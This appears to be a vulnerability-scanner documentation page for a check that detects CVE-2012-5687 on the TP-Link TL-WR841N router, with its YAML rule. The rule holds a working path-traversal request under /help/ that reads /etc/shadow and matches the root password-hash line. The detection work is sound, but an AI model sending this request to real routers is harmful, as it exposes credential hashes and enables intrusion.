TP-Link TL-WR841N — 1 vulnerability check
noctis ships 1 vulnerability check for TP-Link TL-WR841N, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
TP-LINK TL-WR841N /help/ path traversal file read
| CVE | CVE-2012-5687 |
|---|---|
| Severity | high · CVSS 7.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/tp-link-wr841n/CVE-2012-5687.yaml |
Checks that the router is a TL-WR841N, requests /etc/shadow through a ../ traversal under /help/ and reports when its root entry comes back without authentication.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET / HTTP/1.0 - Checks
fp.bannerforWR841N - Raw TCP (TLS on HTTPS), sent verbatim:
GET /help/../../../../../../../../../../../../../../../../../../etc/shadow HTTP/1.0 - Checks
resp.bannerfor(?im)^HTTP/1\.[01] 200[\s\S]*root:[^\n:]*:[0-9]+:[0-9]+:→ finding QoD 75: TP-LINK TL-WR841N served /etc/shadow via /help/ path traversal — CVE-2012-5687: …
References:
Feed source — tests/vulnerabilities/tp-link-wr841n/CVE-2012-5687.yaml
uid: 1f5a7c84-6b2e-43d9-8a01-9c3e5d7b2048
name: "CVE-2012-5687 — TP-LINK TL-WR841N /help/ path traversal file read (CVSS 7.8)"
description: "Checks that the router is a TL-WR841N, requests /etc/shadow through a ../ traversal under /help/ and reports when its root entry comes back without authentication."
cves: [CVE-2012-5687]
cvss: 7.8
severity: high
category: file-read
confidence_base: 0.30
tags: [tp-link, wr841n, lfi]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2012-5687"
- "OpenVAS NASL 2012/gb_tp_link_tl_wr841n.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2012/gb_tp_link_tl_wr841n.nasl (GPL-2.0-only).
# Faithful: first scope the target to a TL-WR841N (the NASL exits unless the response identifies
# the WR841N), then read /etc/shadow through the /help/ traversal and confirm a real passwd/shadow
# line behind a 200. A device that is not a WR841N, or a patched one that denies the traversal,
# does not fire (non-trivial negative).
steps:
- id: init
action: set_var
var_name: is_wr841n
var_value: false
- id: fingerprint
action: tcp_connect
port: "{{port}}"
send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: fp
- id: fp-gate
action: match
source: fp.banner
pattern: "WR841N"
on_match:
set_vars:
is_wr841n: true
- id: probe
action: tcp_connect
port: "{{port}}"
send: "GET /help/../../../../../../../../../../../../../../../../../../etc/shadow HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
condition: "is_wr841n == true"
store_as: resp
- id: detect
action: match
source: resp.banner
pattern: '(?im)^HTTP/1\.[01] 200[\s\S]*root:[^\n:]*:[0-9]+:[0-9]+:'
condition: "is_wr841n == true"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "TP-LINK TL-WR841N served /etc/shadow via /help/ path traversal — CVE-2012-5687: {{resp.banner}}"
stop: true